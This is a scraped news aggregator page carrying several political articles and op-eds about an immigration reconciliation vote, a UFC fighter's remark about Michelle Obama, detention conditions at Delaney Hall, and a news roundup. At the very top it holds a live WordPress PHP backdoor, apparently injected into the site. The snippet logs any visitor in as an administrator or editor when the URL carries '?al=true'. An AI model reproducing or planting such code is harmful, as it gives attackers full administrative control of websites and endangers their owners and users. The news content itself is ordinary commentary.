// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); House passes immigration reconciliation bill — without blocking Trump’s compensation fund – Blue Light News
Connect with us

The Dictatorship

House passes immigration reconciliation bill — without blocking Trump’s compensation fund

Published

on

After House Republicans initially showed opposition to President Donald Trump’s “anti-weaponization” fund, the House passed the GOP’s immigration enforcement reconciliation bill on Tuesday without any legislative restrictions on the proposed $1.776 billion pot of money.

The bill — which funds Immigration and Customs Enforcement and Border Patrol for three years — passed on a party-line 214-212 vote.

The outcome reflects both the political and procedural realities facing Republicans in Washington, as they navigate razor-thin majorities, unified control of government and the ever-present risk of Trump’s wrath.

Procedurally, House Republicans had virtually no opportunity to offer amendments restricting the fund, a consequence of the chamber’s leadership-driven process. In the Senate, meanwhile, the parliamentarian ruled that most fund-related amendments would require 60 votes — a threshold supporters just didn’t meet.

Ultimately, all but one Republican senator — Sen. Susan Collins of Maine — voted for the bill, a remarkable reversal for several lawmakers who had previously said they couldn’t support the package without language blocking the fund. The White House had also signaled that Trump could veto the legislation if it included restrictions on the program.

Politically, many Republicans concluded that sinking the party’s signature immigration bill wasn’t a tenable outcome, particularly given Trump’s recent penchant for retribution against Republican naysayers.

In the end, GOP lawmakers opted to fight another day.

“A lot of us would like to see the weaponization fund be killed and buried forever,” a moderate House Republican told MS NOW, requesting anonymity to discuss the internal sentiments.

But, this lawmaker added, “not funding border patrol and ICE is, I think, unhelpful.”

“Holding something hostage for something on weaponization, I think, would be difficult to achieve, especially since the Senate’s already passed it,” this Republican said.

A number of Republicans toyed with opposing the reconciliation bill.

Rep. Tim Walberg, R-Mich., caused some drama on the floor after he unexpectedly voted no. (After a lengthy discussion with House GOP leaders, he ultimately switched his vote.)

Of course, more moderate House Republicans could have withheld their support until GOP leaders added language prohibiting Trump’s compensation fund — as some Senate Republicans wanted. And about a dozen conservative Republicans initially held out on supporting a rule to set up debate of the bill on Tuesday, arguing that GOP leaders should add language from another hardline immigration bill — H.R. 2, a sweeping measure to install more restrictive asylum rules, require businesses to use the federal “E-verify” system for worker authorization, and remove certain protections unaccompanied children.

In the end, every Republican voted for the bill and every Democrat voted against it. The only lawmaker to technically cross party lines was Independent Rep. Kevin Kiley of California — who was a Republican up until March and usually sides with the GOP.

Not every Republican was thrilled with that outcome.

Sen. Thom Tillis, R-N.C., who’s retiring at the end of this year, unleashed on his GOP colleagues in a lengthy email on Tuesday, slamming them for voting down his amendment that would have blocked the fund.

The result, he argued, will come back to bite Republicans during the November midterm elections.

“I’m sure most of you would prefer to move forward, but I believe we will look back at this experience as yet another reason why we will have historic headwinds against us in November,” Tillis wrote in the email, which was obtained by MS NOW.

“We missed an opportunity to remove a political albatross (the 1776 Fund) from around the necks of our colleagues who are in cycle,” Tillis said. “Instead, we added weight to that albatross by having 41 members vote to protect the program.”

Tillis’ amendment overwhelmingly failed in a 15-84 vote, with just 12 Republicans and three Democrats voting in support. Hours later, Tillis voted for the reconciliation bill after clearly saying he’d be a “no” without language pushing back on the anti-weaponization fund.

With the immigration enforcement package now in the rearview mirror, some House Republicans are setting their sights on a new strategy to block the anti-weaponization fund: A standalone bill sponsored by Reps. Brian Fitzpatrick, R-Pa., and Tom Suozzi, D-N.Y., to prevent federal funds from being used to pay claims submitted to the fund.

The push for the bill comes after Trump over the weekend said he still thinks the weaponization fund is “a great idea.”

“And so do many other Republicans,” Trump said.

“If they get it approved, that’s great,” he said in an interview with NBC’s “Meet the Press.” “If they don’t get it approved, I’d be disappointed.”

The comments flew in the face of remarks made by acting Attorney General Todd Blanche, who told lawmakers last week that the administration is “not moving forward with the fund. Period.”

Blanche’s comments seemed to calm the nerves of some lawmakers and clear the way for passage of the reconciliation bill without any legislative restrictions.

Fitzpatrick and Suozzi are planning to file a discharge petition to force a vote on the measure this week, a source familiar with the matter told MS NOW, a posture that is already prompting consternation in the Republican ranks.

During a closed-door House GOP conference meeting on Tuesday, Majority Leader Steve Scalise, R-La., urged members not to sign discharge petitions, according to a source in the room, as top lawmakers try to beat-back at a process that circumvents leadership’s wishes.

Fitzpatrick is firing back.

In a post on Xhe said discharge petitions wouldn’t be needed if the House floor “was managed properly.”

“A successful discharge petition is clear and direct evidence of a poorly managed House Floor—because it demonstrates that the will of the majority of the People is being thwarted by the privileged few,” he wrote. “Leadership of both parties have been guilty of this for years.”

He added that the rise of discharge petitions in this Congress was just “further evidence of the brokenness of the two-party system—and the rise of Independent voters is a direct manifestation of this.”

But the limits of that strategy are hard to ignore. As forcefully as Fitzpatrick opposed the anti-weaponization fund, he ultimately gave up his most powerful bargaining chip. By backing the reconciliation bill without restrictions on the program, he helped clear the path for legislation that is almost certain to become law, while pinning his hopes on a standalone measure that’s almost certain to never become law.

Passage of the ICE and border patrol bill puts a bookend on a months-long fight over the administration’s immigration crackdown. That battle began in January, following the deaths of Alex Pretti and Renee Good in Minneapolis, which prompted Democrats to demand immigration reforms in exchange for additional funding and contributed to a shutdown at the Department of Homeland Security.

The dispute escalated in March, when Republicans agreed to separate ICE and Border Patrol funding from the broader DHS appropriations process.

But the disagreement reached its peak last month, when the administration blindsided many Republican lawmakers with the anti-weaponization fund — a proposal that exposed rare divisions within the GOP and continues to generate resistance even after Congress delivered Trump a major legislative victory.

Mychael Schnell is a reporter for MS NOW.

Syedah Asghar

Syedah Asghar covers Congress for MS NOW.

Read More

Continue Reading
Click to comment

Leave a Reply

Your email address will not be published. Required fields are marked *

The Dictatorship

Michelle Obama’s womanhood isn’t a question. Josh Hokit’s idea of manhood is.

Published

on

President Donald Trump celebrating his 80th birthday with UFC fights on the White House lawn was classless enough. Then Josh Hokit was given a microphone. After the UFC fighter won his cage match at Trump’s flamboyant celebration Sunday night, Hokit, who spoke mostly in disturbingly trite rhymes after his win, managed to further degrade the event. At the conclusion of his post-fight interview with announcer, podcaster and manosphere extraordinaire Joe Rogan, the athlete declared,“Michelle Obama is a man. Am I right, America?”

Many in the crowd of thousands of UFC fans ate it up, and expecting anything less would require an exceptional level of delusion. Misogynoir and transphobia have been lobbed against Obama at least since 2008, when America elected her husband, Barack Obama, president.

Misogynoir and transphobia have been lobbed against Obama at least since 2008, when America elected her husband, Barack Obama, president.

Misogynoir was coined by academic Moya Bailey in 2008 to describe the intertwining of racism and misogyny that targets Black women. As pervasive as it is, it took 15 yearsfor Merriam-Webster to add the word to its dictionary. Even in writing this piece, each time I’ve typed the term, spell-check suggests I have made a typo.

While it’s tempting to categorize Hokit’s remark as random, it was fully on brand for the athlete. ESPN reported, “In his post-fight interview at UFC 324 in January, Hokit called WNBA star Brittney Griner ‘a man.’”

He’s the poster child for misogynoir.

But his statement was also characteristic of the machismo that drove the event itself. Trump’s entire political persona is crafted in the mold of a strongmanan archetype that couldn’t exist without toxic masculinity. And when he was elected to the presidency a second time, Trump brought back to the forefront an erroneous vision of manhood. Hokit, and a lamentable number of other public figures, have since been empowered to espouse misogyny and preach the shallow gospel of toxic masculinity.

But showmanshiprepressed emotionality and a desperate adherence to benighted notions of manhood alone don’t suffice. Toxic masculinity also requires an allegiance to the desirability politics that are often informed by white supremacy. And Hokit gave it a shoutout Sunday night.

If toxic masculinity is a declaration of what we are expected to perceive as a quintessential depiction of manhood, then completing that picture requires a similar declaration about what we are expected to perceive as a quintessential depiction of womanhood. As has historically been the case, the beauty of Black women, as a whole, doesn’t align with mainstream ideals of attractiveness. So a Trump supporter’s recycling of a racist trope about the first Black first lady being a man was a natural offshoot of Sunday’s glorification of problematic masculinity.

Obama addressed misogynoir-laden and transphobic insults, among others, that she has faced over the years in her 2018 book “Becoming.” She writes, “I’ve smiled for photos with people who call my husband horrible names on national television, but still want a framed keepsake for their mantel. I’ve heard about the swampy parts of the internet that question everything about me, right down to whether I’m a woman or a man. A sitting U.S. congressman has made fun of my butt. I’ve been hurt. I’ve been furious. But mostly, I’ve tried to laugh this stuff off.”

I’ve been furious. But mostly, I’ve tried to laugh this stuff off.

michelle obama in her book “becoming”

Hokit thumping his chest after a violent brawl per the request of a strongman-in-chief, then deriding a high-profile Black female figure as masculine and thus, unappealing, was a true full-circle moment for the manosphere. Notice that Hokit didn’t do a full stop after he insulted Obama. He asked, “Am I right, America?”

At least that part made actual sense — Hokit’s instinct to seek validation is yet another manifestation of toxic masculinity. His question offered a boisterous representation of the need for male approval that exists in the manosphere and the willingness of problematic men to give one another an outsized influence on their behavior. It wasn’t enough for Hokit to disparage a prominent Black woman. He wanted someone to say, “Well done.”

As for his question, the answer is “no.” Hokit was the farthest from “right” as one gets. But the derision of Obama surely scored him brownie points in the manosphere. What better way to secure a nod of respect from the community than to denigrate, arguably, the most high-profile Black woman in the United States while at an event teeming with hypermasculinity?

But neither Obama nor any other woman, Black or otherwise, should have to bear the burden of men insulting them in a desperate quest to secure approbation from other men.

Hokit appears to be developing a habit of ascribing masculinity to Black women. He would be better served by questioning why his idea of manhood includes belittling women for applause.

Zahara Hill is a coordinating producer for MS NOW. She previously worked as a front page editor for HuffPost and the deputy editor for Blavity News.

Read More

Continue Reading

The Dictatorship

What I witnessed at Delaney Hall should concern every American

Published

on

President Donald Trump, with the support of Republicans in Congress, signed legislation last week funding federal immigration agencies through the end of his term. Americans should know how millions of their taxpayer dollars are being spent on the active destruction of their fellow human beings.

As part of my constitutional oversight responsibilities in Congress, I have visited Delaney Halla privately run detention facility in Newark, New Jersey, four times. From the first time I stepped into Delaney Hall, my worst fears were confirmed.

The smell of sewage permeated the building. The air felt stagnant, and I questioned whether there was adequate ventilation for detainees or staff.

What I witnessed with my own eyes was alarming enough. The smell of sewage permeated the building. The air felt stagnant, and I questioned whether there was adequate ventilation for detainees or staff. In the cafeteria, I saw a space that appeared far too small to accommodate the number of people being held. When I asked how hundreds of detainees were fed, I was told meals were served in waves beginning as early as 4 a.m.

Detainees described freezing temperatures, poor sanitation, spoiled food, isolation and being required to clean bathrooms and showers contaminated with urine and other biological waste without proper protective materials.

The most alarming thing I have witnessed, however, is the treatment — really, the lack of treatment — of people with serious and chronic medical conditions. I believe what I have witnessed at both Delaney Hall and the Elizabeth Detention Center amounts to nothing short of medical abuse.

While the Department of Homeland Security leadership may try to wave away accusations of inhumane treatment, they cannot wave away the effect of their medical negligence — nor should they be allowed to.  Every time I have visited both the Delaney and Elizabeth detention centers, I encountered detainees whose health was deteriorating because of the actions overseen by DHS employees and contractors. Individuals with chronic health conditions were not monitored, critical medications are given sporadically or not at all and there is little to no continuity of care for the medically vulnerable.

Individuals with chronic health conditions were not monitored, critical medications are given sporadically or not at all, and there is little to no continuity of care for the medically vulnerable.

One woman detained with diabetes told me she was receiving only a fraction of the medication prescribed by her doctor. When I questioned medical staff, they confirmed her dosage had been reduced shortly after she entered detention without first contacting her pharmacy or physician. They also confirmed blood sugar readings consistent with poorly controlled diabetes.

I spoke with a man who suffered ongoing headaches and hearing loss after striking his head in a fall. He told me he feared seeking additional medical care because he had been warned he could be placed in isolation if sent to the hospital. When I raised the issue with facility leadership, they confirmed isolation was their policy.

Other detainees have described to me equally disturbing experiences, including a woman who said she suffered a miscarriage while in Immigration and Customs Enforcement custody after being denied proper medical care when symptoms first appeared. Another pregnant woman told me she feared for the health of her unborn child because she could not obtain the specialized care her condition requires.

These were not isolated complaints. And together, they paint a picture of a detention system failing to provide adequate medical care to the people in its custody.

The Department of Homeland Security insists healthcare is available inside Delaney Hall. What I witnessed firsthand tells a different story. Detainees may have access to care, but they are not receiving the care that their conditions, diagnoses, doctors or even our own good conscience would warrant.

When I questioned Homeland Security Secretary Markwayne Mullin about whether ICE tracks detainees with chronic illnesses such as diabetes, cancer and heart disease, whether those conditions are regularly monitored and whether independent health officials are allowed to inspect the facility, I did not receive answers. That lack of accountability should concern every American.

The consequences of these failures could be deadly. Severe hypoglycemia can become life-threatening within hours. Heart conditions can rapidly worsen without medication. Untreated infections can become medical emergencies, and the disruption of medication can have life-threatening consequences in the short and long run.

What makes this even more troubling is who is being detained.

Despite the administration’s rhetoric about targeting dangerous criminals, the people I met at Delaney Hall were overwhelmingly low-risk individuals being held for civil immigration violations, not criminal offenses. Some said they had legal status until this administration stripped it away. Others described being picked up off the street, or where they work, or at laundromats, schools and even outside courthouses or routine immigration appointments.

We cannot turn a blind eye to the conditions inside these facilities. Nor can we ignore the role of corporations such as the GEO Group, the company with an estimated $1 billion contract to operate Delaney Hall. Taxpayer dollars are being used to inflict profound human suffering, all too often condoned because those detained are viewed as “other.” To make matters worse, the $70 billion that Congress recently approved for ICE and Customs and Border Protection is in addition to $191 billion previously allocated to DHS with a party-line vote.

The least my Republican colleagues can do now is demand answers about what is happening inside facilities like Delaney Hall and hear firsthand from detainees about what they are experiencing. If they truly listen, they will be moved to action. I know I was.

Because the people I met at Delaney Hall are mothers, fathers, workers and neighbors. They are human beings. They deserve dignity, medical care and due process.

No matter where someone was born or what their immigration status may be, their humanity does not disappear when they enter a detention facility.

The measure of any nation is how it treats the people in its custody. By that standard, what is happening at Delaney Hall is a moral failure that extends far beyond its walls.

And when we allow due process, equal protection under the law and basic human rights to be denied to some, we weaken those protections for everyone. The Constitution is only as strong as our willingness to defend it. We must seek to protect it, starting by closing Delaney Hall.

Analilia Mejia, a Democrat, represents New Jersey’s 11th Congressional District in the U.S. House.

Read More

Continue Reading

The Dictatorship

Monday’s Mini-Report, 6.15.26

Published

on

Monday’s Mini-Report, 6.15.26

Today’s edition of quick hits.

* Russia’s latest deadly attack in Ukraine: “A large-scale Russian attack on Ukraine killed five rescuers in Kharkiv and wounded at least 20 people in the capital Kyiv on Monday as strikes set apartment buildings ablaze and sparked a fire at one of the country’s most significant religious landmarks. The rescuers were killed in Kharkiv by a second Russian strike as they fought a blaze caused by an earlier attack, Interior Minister Ihor Klymenko said. At least five other emergency workers were wounded.”

* From late last week: “A joint strike by the United States and Venezuela killed a leader of the Tren de Aragua transnational gang, President Trump and officials in both countries said on Friday, dealing a blow to a syndicate the Trump administration has blamed for an influx of violent crime and illicit drugs.”

* The right way to do it: “Hungarian lawmakers on Monday passed a constitutional amendment that would ban Viktor Orbán from returning to power. The amendment, approved by 135 votes in favor and 50 against, would limit prime ministers to just eight years in office if it becomes law. The amendment is written to apply retroactively, meaning that Viktor Orbán could not return as Hungary’s prime minister. Orbán served as prime minister for a total of 20 years.”

* A case we have been keeping an eye on: “A federal judge ordered the Trump administration on Friday to reinstall ‌exhibits and signs on topics like slavery and climate change that it had removed from parks and monuments nationwide because they ‘do not align with its preferred narrative.’”

* Trump’s Department of Justice does what Trump wants: “The Justice Department’s Antitrust Division has signed off on Paramount Skydance’s $111 billion bid for Warner Bros. Discovery. The approval, first reported by Blue Light News, clears a major regulatory hurdle for a deal that has become one of the most closely watched media merger reviews of the Trump era.”

* Failing to make America healthy again: “A relentless measles outbreak in Utah has been spreading for nearly a year, putting the U.S. on a path to losing the measles-elimination status it earned more than two decades ago. Fueling the nearly 12-month outbreak: more parents opting not to vaccinate their children for school; infections hitting communities statewide; and lenient public-health policies on quarantining exposed students.”

* McConnell’s health issues persist: “Sen. Mitch McConnell, R-Ky, was hospitalized on Sunday, according to his spokesperson, who provided no details on the former Senate majority leader’s condition.”

See you tomorrow.

Steve Benen is a producer for “The Rachel Maddow Show,” the editor of MaddowBlog and an MS NOW political contributor. He’s also the bestselling author of “Ministry of Truth: Democracy, Reality, and the Republicans’ War on the Recent Past.”

Read More

Continue Reading

Trending